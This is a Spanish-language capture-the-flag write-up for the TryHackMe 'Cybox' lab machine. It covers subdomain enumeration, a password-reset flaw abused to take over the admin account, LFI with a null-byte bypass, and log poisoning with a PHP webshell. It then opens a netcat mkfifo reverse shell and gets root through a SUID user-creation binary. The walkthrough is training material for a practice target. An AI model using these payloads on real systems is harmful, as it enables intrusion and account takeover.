Posts Tryhackme - Cybox (CTF UPSA 2020)
Post
Cancel

Tryhackme - Cybox (CTF UPSA 2020)

CYBEX

Introducción

En ese write up, veremos la máquina creada por @takito1812 Sirve para Virtual box y VMware, yo lo hice en VMware y usé tryhackme para poder conectarme a la máquina, aquí les dejo el código de la room: 1337ctfupsa2020cybox muy entretenida máquina, la verdad me tuvo un rato peleando con los dominios que habían etc, pero eso lo aclaramos más adelante ;)

Datos importantes

Para este CTF es muy importante tener en cuenta el email del administrador y el dominio de la página, se pueden encontrar en el footer de la página.

Email: admin@cybox.company Dominio: cybox.company

Añadir dominio a /etc/hosts

Primero necesitamos añadir a /etc/hosts la ip y el dominio del sitio

Ej:

Enumerando subdominios con gobuster

con el comando gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --url http://cybox.company/

Encontramos los siguientes subdominios:

1

los subdominios encontrados los añadimos al /etc/hosts para luego poder ingresar a cada uno de ellos y poder interactuar con ellos

esto se ve en: ftp.cybox.company 2

esto se ve en: monitor.cybox.company 3

esto se ve en: dev.cybox.company 4

esto se ve en: register.cybox.company 6

esto se ve en: webmail.cybox.company 5

Encontrando la vulnerabilidad

Primero nos metemos a los subdominios y vemos que en register.cybox.company hay un sistema para crear usuarios, en este caso me creo un usuario llamado “nadie” y luego que le damos a create, nos da un correo nadie@cybox.company y unas credenciales “nadie:nadie”

7

Ahora nos vamos a monitor.cybox.company y vemos un panel donde hay un login, procedemos a registrarnos con el correo que anteriormente obtuvimos, una vez registrados le damos click a “forgot password” e ingresamos nuestro correo, en este caso sería “nadie@cybox.company”

9

Luego nos llegará al correo un mensaje para poder cambiar la contraseña, para esto vamos a webmail@cybox.company, nos logueamos con las credenciales que nos dieron en register.cybox.company

10

Luego clickeamos el link: 11

Vemos que se puede cambiar la contraseña, aunque si nos fijamos en la URL http://monitor.cybox.company/updatePasswordRequest.php?email=nadie@cybox.company en la parte del usuario “nadie” la podemos cambiar por el email del admin para ingresar una nueva contraseña, esto es un fallo de programación, entonces la URL quedaría así http://monitor.cybox.company/updatePasswordRequest.php?email=admin@cybox.company

Ahora tenemos que cambiar la contraseña del admin, a cualquiera que nosotros queramos

Luego volvemos al panel y nos logueamos cómo admin:

13

Si todo salió bien, deberíamos haber ingresado cómo Admin:

14

Ingresamos al admin panel y nos sale esto:

15

Vemos el código fuente:

16

Observamos un link styles.php?style=general clickeamos y nos sale esto:

17

Podemos inferir que esto es una vulnerabilidad LFI, ya que la página carga archivos del sitio

LFI a RCE

Ya sabemos que puede ser una vulnerabilidad LFI, lo comprobamos añadiendo “../” a la URL y al final un directorio del sistema Linux en este caso “/etc/passwd”, entonces la URL quedaría así:

view-source:http://monitor.cybox.company/admin/styles.php?style=../../../../../../../../etc/paswd

Si no nos muestra nada, es por que la extensión del archivo es .css, para poder bypassear esto, podemos usar un nullbyte “%00”

view-source:http://monitor.cybox.company/admin/styles.php?style=../../../../../../../../etc/paswd%00

Y si todo sale bien, se debería ver así:

18

Ahora confirmamos que es un LFI, tenemos que plantar una shell en el sitio, para ello revisamos información en el subdominio “dev.cybox.company” y vemos la info del apache, si nos fijamos bien, en “extension_dir” sale una ruta que utiliza Bitnami, si buscamos en google la Documentación nos sale donde se almacenan los logs de apache, en este caso se almacenan en “opt/bitnami/apache2/logs/access_log”.

IMPORTANTE: para poder ingresar a los logs, debemos primero ingresar a la página donde se aloja el ftp, en este caso sería “ftp.cybox.company”

Ahora ingresamos a los logs, con la URL view-source:http://monitor.cybox.company/admin/styles.php?style=../../../../../../../opt/bitnami/apache2/logs/access_log%00

19

Webshell

Una Webshell nos permite ejecutar comandos a nivel sistema ;)

Ahora tenemos que inyectar código php en los logs que se almacenan en el ftp, para ello abrimos Burpsuite y editamos el user-agent en la página del ftp

20

Código a inyectar: <?php system($_GET[‘c’]); ?>

Y le damos forward

Si todo salió bien, podríamos ejecutar comandos a nivel sistema, cómo se ve en la imagen:

21

así sería la sintáxis para poder ejecutar comandos en el sistema, URL: view-source:http://monitor.cybox.company/admin/styles.php?style=../../../../../../../opt/bitnami/apache2/logs/access_log%00?&c=ls -la

Reverse Shell

Ahora que tenemos nuestra Webshell, podemos ejecutar comandos a nivel sistema, es momento de plantar una reverse shell, más abajo les dejo una, pero para que funcione primero debemos codificarla para que sea admitida por la URL, para ellos utilizaremos Burpsuite

Reverse Shell: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f/bin/sh -i 2>&1nc 10.0.x.x 443 >/tmp/f

IMPORTANTE: recuerden cambiar la ip de la reverse shell por la de tun0 ;)

Ahora cómo se ve en la imagen, codificamos nuestra rev shell en encoder:

22

Lo de abajo es nuestra reverse shell, CTRL + A para copiar todo

No ejecutarla aún!!!

Tenemos que poner netcat a la escucha, con el comando nc -lvnp 443

23

Y ahora si ejecutamos nuestra reverse shell, sí nos queda así cómo “cargando” es normal

Ahora nos vamos a netcat y vemos que tenemos nuestra conexión reversa:

25

Podemos hacer nuestra shell full TTY para que sea más fácil moverse por la terminal

Escalando Privilegios

Una vez dentro, podemos probar a buscar binarios SUID, con el comando find / -perm -u=s -type f 2>/dev/null

26

El directorio /opt/ se ve interesante

Ingresamos y vemos que hay un ejecutable para crear usuarios

Entonces este script lo que hace es crear un usuario y añadirlo al grupo con el mismo nombre, si nosotros nos creamos un usuario sudo, nos va a añadir al grupo sudo y ahí explotaríamos el fallo obteniendo la flag de root

27

Hacemos un sudo -i y hacemos un cat para ver la flag ;)

27

y también si queremos sacar el user, lo podemos hacer con un “find /grep “user.txt”

29

This post is licensed under CC BY 4.0 by the author.